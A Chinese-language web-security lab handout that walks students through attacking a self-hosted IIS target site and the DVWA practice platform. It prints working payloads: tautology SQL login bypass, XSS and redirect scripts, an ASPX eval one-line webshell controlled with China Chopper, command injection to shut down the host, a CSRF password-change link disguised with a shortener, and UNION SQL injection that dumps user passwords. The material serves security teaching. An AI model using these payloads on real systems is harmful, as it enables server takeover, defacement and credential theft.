实训1-利用Web漏洞入侵网站并控制服务器
实训准备 在windows上部署一个IIS web服务
安装IIS相关环境并利用IIS服务器发布靶站源代码(注意应用程序池使用.net 4.0并开启.NET服务)
注意:如果.net环境安装不全可在CMD下输入:
"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" -iru -enable
如使用64位的windows系统需要应用程序池设置32位应用程序为true。
实训任务 漏洞利用
网站后台绕过
1、猜测网站的后台管理地址或使用御剑孤独后台扫描工具暴力搜索进入后台登录界面。
2、尝试使用弱密码登录系统,观察登陆界面给出的反馈。
3、输入一些特殊字符,如‘’/+-=等,点击登录,观察系统反馈。
4、根据登录界面给出的反馈构造永真的SQL语句绕过登录界面。
5、进入网站后台管理界面。
篡改页面内容
1、在网站前台或后台中寻找能够提交信息的合适位置。
2、提交代码<script>alert("test")</script>,使用另外的主机访问此网站,观察效果。
3、提交代码(代码中的网址可更改):
<script>window.location.href="http://d.mytanwan.com"</script>,观察效果。
实训任务 上传后门程序(木马)并控制目标主机
一句话木马的使用
1、新建文本文档,将文件后缀修改为aspx,书写内容如下:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
2、在系统中寻找文件上传点。
3、上传之前创建的aspx一句话木马文件。
4、设法获得上传文件在网站目录中的文件名称和路径。
5、利用中国菜刀工具连接一句话木马(密码为pass)。
6、获得目标服务器的操作权限并拿到数据库文件。
7、对数据库中的账号密码进行解密。
实训2 Web漏洞原理与利用
实训准备 安装部署phpStudy+DVWA漏洞演练平台
安装phpstudy,安装完成后启动phpStudy主界面,当看到 Apache 和 MySQL 文字后面红色的圆点变成绿色时,表示服务启动成功。如下图所示:
- 将DWVA压缩包解压到phpStudy的WWW文件夹中。
- 配置DVWA链接数据库,打开config文件夹,打开config.inc.php,需要把db_password 修改成root,保存(因为前面刚安装好的集成环境默认的MYSQL用户名和密码为root root)。
- 访问http://本机IP/DVWA/index.php,点击创建/重置数据库,点击创建数据库跳转到DVWA的登录界面,DVWA的默认用户名是"admin",密码“password”登录。输入用户名密码登录,登陆成功。
- 在DVWA Security中设置难度为low。如下图所示:
实训任务 密码登录绕过
1.打开Brute Force界面,测试登陆框是否存在注入,提交敏感字符测试程序是否报错。在登录界面上输入用户名admin’(使用敏感字符‘)。
仔细观察登录系统时地址栏中的sql语句,在用户名密码提交界面上通过注入逻辑语句使登录判断失效,进入受保护页面。
实训任务 命令注入
打开Command Injection界面,在该界面提供一个命令行执行环境,输入ip地址返回ping命令的结果。
window和linux系统都可以用&&在同一行附加执行其他命令,尝试注入附加命令使目标主机(延时)关机。
实训任务 跨站请求伪造
打开CSRF界面,可在New password和Confirm new password处正常修改登录口令。
构造一个链接: http://IP/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change# (注意IP地址改为网站实际地址) 利用在线短链接生成器(https://www.985.so/)伪造该链接:
诱骗其它已登录该网站的用户点击该链接,通过伪造身份提交密码修改,直接跳转到修改密码成功的页面,成功把密码修改为123
实训任务 文件上传
建立一个PHP文件,内容为:。打开File Upload界面,将PHP一句话木马上传。
得到木马在服务器上的路径。打开中国菜刀,配置信息添加木马路径及密码。
双击网址进入文件管理。(注:这里可以进行文件管理,数据库管理,虚拟终端或运行自写脚本)
实训任务 SQL注入
打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。输入1提交,将正常返回查询结果。输入1’提交,将返回一个错误。
输入1' union select 1,database()#提交,得到数据库名称。
输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#,得到数据库中的表名。
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,得到users表的列名。
输入1' union select 1,concat(user,password) from users#,得到users表的所有用户名和密码。
破解查询到所有密码,得到该数据库中所有口令的明文